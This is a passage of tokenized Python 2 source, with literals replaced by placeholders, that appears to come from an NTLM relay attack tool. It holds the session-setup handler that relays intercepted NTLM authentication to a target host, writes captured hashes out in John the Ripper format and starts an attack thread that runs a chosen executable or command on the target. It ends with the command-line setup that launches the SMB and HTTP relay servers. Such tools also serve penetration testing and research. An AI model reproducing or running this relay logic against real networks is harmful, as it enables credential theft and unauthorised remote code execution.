TypesMech [ '<STR_LIT>' ] <EOL> respToken [ '<STR_LIT>' ] = str ( challengeMessage ) <EOL> errorCode = STATUS_MORE_PROCESSING_REQUIRED <EOL> connData [ '<STR_LIT>' ] = <NUM_LIT:10> <EOL> connData [ '<STR_LIT>' ] = challengeMessage <EOL> elif messageType == <NUM_LIT> : <EOL> smbClient = smbData [ self . target ] [ '<STR_LIT>' ] <EOL> authenticateMessage = ntlm . NTLMAuthChallengeResponse ( ) <EOL> authenticateMessage . fromString ( token ) <EOL> if authenticateMessage [ '<STR_LIT>' ] != '<STR_LIT>' : <EOL> clientResponse , errorCode = smbClient . sendAuth ( connData [ '<STR_LIT>' ] [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] ) <EOL> else : <EOL> errorCode = STATUS_ACCESS_DENIED <EOL> if errorCode != STATUS_SUCCESS : <EOL> packet = smb . NewSMBPacket ( ) <EOL> packet [ '<STR_LIT>' ] = smb . SMB . FLAGS1_REPLY | smb . SMB . FLAGS1_PATHCASELESS <EOL> packet [ '<STR_LIT>' ] = smb . SMB . FLAGS2_NT_STATUS | SMB . FLAGS2_EXTENDED_SECURITY <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> packet [ '<STR_LIT>' ] = errorCode >> <NUM_LIT:16> <EOL> packet [ '<STR_LIT>' ] = errorCode & <NUM_LIT> <EOL> smbClient . setUid ( <NUM_LIT:0> ) <EOL> logging . error ( "<STR_LIT>" % ( self . target , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] ) ) <EOL> return None , [ packet ] , errorCode <EOL> else : <EOL> logging . info ( "<STR_LIT>" % ( self . target , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] ) ) <EOL> ntlm_hash_data = outputToJohnFormat ( connData [ '<STR_LIT>' ] [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] , authenticateMessage [ '<STR_LIT>' ] ) <EOL> logging . info ( ntlm_hash_data [ '<STR_LIT>' ] ) <EOL> if self . server . getJTRdumpPath ( ) != '<STR_LIT>' : <EOL> writeJohnOutputToFile ( ntlm_hash_data [ '<STR_LIT>' ] , ntlm_hash_data [ '<STR_LIT>' ] , self . server . getJTRdumpPath ( ) ) <EOL> del ( smbData [ self . target ] ) <EOL> clientThread = doAttack ( smbClient , self . exeFile , self . command ) <EOL> clientThread . start ( ) <EOL> respToken = SPNEGO_NegTokenResp ( ) <EOL> respToken [ '<STR_LIT>' ] = '<STR_LIT:\x00>' <EOL> errorCode = STATUS_SUCCESS <EOL> connData [ '<STR_LIT>' ] = authenticateMessage <EOL> else : <EOL> raise Exception ( "<STR_LIT>" % messageType ) <EOL> respParameters [ '<STR_LIT>' ] = len ( respToken ) <EOL> respData [ '<STR_LIT>' ] = respParameters [ '<STR_LIT>' ] <EOL> respData [ '<STR_LIT>' ] = respToken . getData ( ) <EOL> else : <EOL> respParameters = smb . SMBSessionSetupAndXResponse_Parameters ( ) <EOL> respData = smb . SMBSessionSetupAndXResponse_Data ( ) <EOL> sessionSetupParameters = smb . SMBSessionSetupAndX_Parameters ( SMBCommand [ '<STR_LIT>' ] ) <EOL> sessionSetupData = smb . SMBSessionSetupAndX_Data ( ) <EOL> sessionSetupData [ '<STR_LIT>' ] = sessionSetupParameters [ '<STR_LIT>' ] <EOL> sessionSetupData [ '<STR_LIT>' ] = sessionSetupParameters [ '<STR_LIT>' ] <EOL> sessionSetupData . fromString ( SMBCommand [ '<STR_LIT>' ] ) <EOL> connData [ '<STR_LIT>' ] = sessionSetupParameters [ '<STR_LIT>' ] <EOL> smbClient = smbData [ self . target ] [ '<STR_LIT>' ] <EOL> if sessionSetupData [ '<STR_LIT>' ] != '<STR_LIT>' : <EOL> clientResponse , errorCode = smbClient . login_standard ( sessionSetupData [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] ) <EOL> else : <EOL> errorCode = STATUS_ACCESS_DENIED <EOL> if errorCode != STATUS_SUCCESS : <EOL> packet = smb . NewSMBPacket ( ) <EOL> packet [ '<STR_LIT>' ] = smb . SMB . FLAGS1_REPLY | smb . SMB . FLAGS1_PATHCASELESS <EOL> packet [ '<STR_LIT>' ] = smb . SMB . FLAGS2_NT_STATUS | SMB . FLAGS2_EXTENDED_SECURITY <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = recvPacket [ '<STR_LIT>' ] <EOL> packet [ '<STR_LIT>' ] = '<STR_LIT>' <EOL> packet [ '<STR_LIT>' ] = errorCode >> <NUM_LIT:16> <EOL> packet [ '<STR_LIT>' ] = errorCode & <NUM_LIT> <EOL> smbClient . setUid ( <NUM_LIT:0> ) <EOL> return None , [ packet ] , errorCode <EOL> else : <EOL> ntlm_hash_data = outputToJohnFormat ( '<STR_LIT>' , sessionSetupData [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] , sessionSetupData [ '<STR_LIT>' ] ) <EOL> logging . info ( ntlm_hash_data [ '<STR_LIT>' ] ) <EOL> if self . server . getJTRdumpPath ( ) != '<STR_LIT>' : <EOL> writeJohnOutputToFile ( ntlm_hash_data [ '<STR_LIT>' ] , ntlm_hash_data [ '<STR_LIT>' ] , self . server . getJTRdumpPath ( ) ) <EOL> del ( smbData [ self . target ] ) <EOL> clientThread = doAttack ( smbClient , self . exeFile , self . command ) <EOL> clientThread . start ( ) <EOL> errorCode = STATUS_SUCCESS <EOL> connData [ '<STR_LIT>' ] = <NUM_LIT:10> <EOL> respParameters [ '<STR_LIT>' ] = <NUM_LIT:0> <EOL> respData [ '<STR_LIT>' ] = smbServer . getServerOS ( ) <EOL> respData [ '<STR_LIT>' ] = smbServer . getServerOS ( ) <EOL> respSMBCommand [ '<STR_LIT>' ] = respParameters <EOL> respSMBCommand [ '<STR_LIT>' ] = respData <EOL> connData [ '<STR_LIT>' ] = True <EOL> smbServer . setConnectionData ( '<STR_LIT>' , smbData ) <EOL> smbServer . setConnectionData ( connId , connData ) <EOL> return [ respSMBCommand ] , None , errorCode <EOL> def _start ( self ) : <EOL> self . server . serve_forever ( ) <EOL> def run ( self ) : <EOL> logging . info ( "<STR_LIT>" ) <EOL> self . _start ( ) <EOL> def setTargets ( self , targets ) : <EOL> self . target = targets <EOL> def setExeFile ( self , filename ) : <EOL> self . exeFile = filename <EOL> def setCommand ( self , command ) : <EOL> self . command = command <EOL> def setMode ( self , mode ) : <EOL> self . mode = mode <EOL> def setDomainAccount ( self , machineAccount , machineHashes , domainIp ) : <EOL> self . machineAccount = machineAccount <EOL> self . machineHashes = machineHashes <EOL> self . domainIp = domainIp <EOL> if __name__ == '<STR_LIT:__main__>' : <EOL> RELAY_SERVERS = ( SMBRelayServer , HTTPRelayServer ) <EOL> logger . init ( ) <EOL> print version . BANNER <EOL> parser = argparse . ArgumentParser ( add_help = False , description = "<STR_LIT>" ) <EOL> parser . add_argument ( "<STR_LIT>" , action = "<STR_LIT>" , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , metavar = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , required = False , metavar = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT:-c>' , action = '<STR_LIT:store>' , type = str , required = False , metavar = '<STR_LIT>' , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , <EOL> help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = '<STR_LIT:store>' , required = False , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = "<STR_LIT:store>" , metavar = "<STR_LIT>" , help = '<STR_LIT>' ) <EOL> parser . add_argument ( '<STR_LIT>' , action = "<STR_LIT:store>" , help = '<STR_LIT>' ) <EOL> try : <EOL> options = parser . parse_args ( ) <EOL> except Exception , e : <EOL> logging . error ( str ( e ) ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> if options . h is not None : <EOL> logging . info ( "<STR_LIT>" ) <EOL> mode = '<STR_LIT>' <EOL> targetSystem = options . h <EOL> else : <EOL> logging . info ( "<STR_LIT>" ) <EOL> targetSystem = None <EOL> mode = '<STR_LIT>' <EOL> exeFile = options . e <EOL> Command = options . c <EOL> for server in RELAY_SERVERS : <EOL> s = server ( options . outputfile ) <EOL> s . setTargets ( targetSystem ) <EOL> s . setExeFile ( exeFile ) <EOL> s . setCommand ( Command ) <EOL> s . setMode ( mode ) <EOL> if options . machine_account is not None and options . machine_hashes is not None and options . domain is not None : <EOL> s . setDomainAccount ( options . machine_account , options . machine_hashes , options . domain ) <EOL> elif ( options . machine_account is None and options . machine_hashes is None and options . domain is None ) is False : <EOL> logging . error ( "<STR_LIT>" ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> s . start ( ) <EOL> print "<STR_LIT>" <EOL> logging . info ( "<STR_LIT>" ) <EOL> while True : <EOL> try : <EOL> sys . stdin . read ( ) <EOL> except KeyboardInterrupt : <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> else : <EOL> pass </s>
